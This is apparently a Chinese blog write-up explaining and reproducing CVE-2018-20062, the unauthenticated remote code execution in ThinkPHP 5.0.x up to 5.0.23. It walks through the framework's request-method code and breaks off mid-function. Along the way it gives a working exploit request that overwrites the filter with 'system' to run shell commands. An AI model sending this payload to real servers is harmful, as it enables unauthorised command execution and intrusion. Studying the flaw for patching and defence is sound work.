ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程

发布时间:2026/9/24 6:13:02
ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程 ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程一、漏洞基本信息漏洞编号:CVE-2018-20062漏洞类型:未授权远程代码执行(RCE)影响版本ThinkPHP 5.0.x ≤5.0.23ThinkPHP 5.1.x 5.1.31漏洞简述:框架在处理_method伪请求方法时,对用户可控参数过滤不严,攻击者可以调用Request类任意方法,配合filter参数调用call_user_func,执行任意 PHP 函数,实现系统命令执行,无需登录。二、漏洞基本原理ThinkPHP 的_method参数:浏览器默认只能发 GET、POST 请求。但是 REST 接口需要 PUT、DELETE。ThinkPHP 为了方便,允许POST 请求里带一个参数_method,用来伪装成别的请求方式。比如 POST 提交_method=put,框架就认为这次是 PUT 请求。底层逻辑:把_method的值,当成一个方法名,去调用对应的处理方法。这里我们可以来看一下原版Request.php中对应的获取请求类型的方法:/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */publicfunctionmethod($method=false){if(true===$method){// 获取原始请求类型return$this-server('REQUEST_METHOD')?:'GET';}elseif(!$this-method){if(isset($_POST[Config::get('var_method')])){$this-method=strtoupper($_POST[Config::get('var_method')]);$this-{$this-method}($_POST);}elseif(isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])){$this-method=strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);}else{$this-method=$this-server('REQUEST_METHOD')?:'GET';}}return$this-method;// 返回请求类型}通过分析源码我们可以发现 该方法在:if(isset($_POST[Config::get('var_method')]))的时候,设置了$this-method为 POST提交参数中的Config::get('var_method'),在config.php配置文件中配置默认值就是字符串_method当前端传入的参数_method=__construct时,$this-method = "__CONSTRUCT"之后通过$this-{$this-method}($_POST);调用__construct这个魔术方法,把整个$_POST数组作为参数传给__construct()如果在发送POST数据包是参数是:POST /index.php?s=captcha HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded _method=__constructfilter[]=systemmethod=getserver[REQUEST_METHOD]=whoami(记下这个EXP请求的参数格式,后面会用到),那么$_POST原始数组:$_POST=['_method'='__construct','filter'=["system"],'method'="get",'server'=['REQUEST_METHOD'='whoami']];漏洞点就在这里:框架没有校验这个_method能不能是 PHP 类的魔术方法。在 PHP 类中存在一个魔术方法__construct这是类的构造函数。只要创建这个类的新对象,就会自动执行__construct()。但是!PHP 还有一个特性:你可以手动指定,直接去调用对象-__construct(),不用新建对象。在Request.php中__construct()方法的代码如下:/** * 构造函数 * @access protected * @param array $options 参数 */protectedfunction__construct($options=[]){foreach($optionsas$name=$item){if(property_exists($this,$name)){$this-$name=$item;}}if(is_null($this-filter)){$this-filter=Config::get('default_filter');}// 保存 php://input$this-input=file_get_contents('php://input');}该方法会循环遍历$options数组,通过property_exists方法判断 Request 类有没有对应的这个成员属性,如果有则将其值进行覆盖,property_exists($this,'_method'):Request 类没有定义_method这个成员属性,所以循环遇到_method这一项直接跳过,不会覆盖。覆盖过程如下:property_exists($this,'filter')为 true -$this-filter = ["system"];property_exists($this,'method')为 true -$this-method = "get";property_exists($this,'server')为 true -$this-server = ['REQUEST_METHOD'='whoami'];被覆盖的 filter 属性值会作为全局过滤函数使用。在method(true) → server('REQUEST_METHOD') → input() → filterValue()的调用链中:// thinkphp/library/think/Request.phpprotectedfunctiongetFilter($filter,$default){if(is_null($filter)){$filter=[];}else{$filter=$filter?:$this-filter;// 使用被覆盖的 filter 值}$filter[]=$default;return$filter;}publicfunctionserver($name='',$default=null,$filter=''){if(empty($this-server)){$this-server=$_SERVER;}if(is_array($name)){return$this-server=array_merge($this-server,$name);}return$this-input($this-server,false===$name?false:strtoupper($name),$d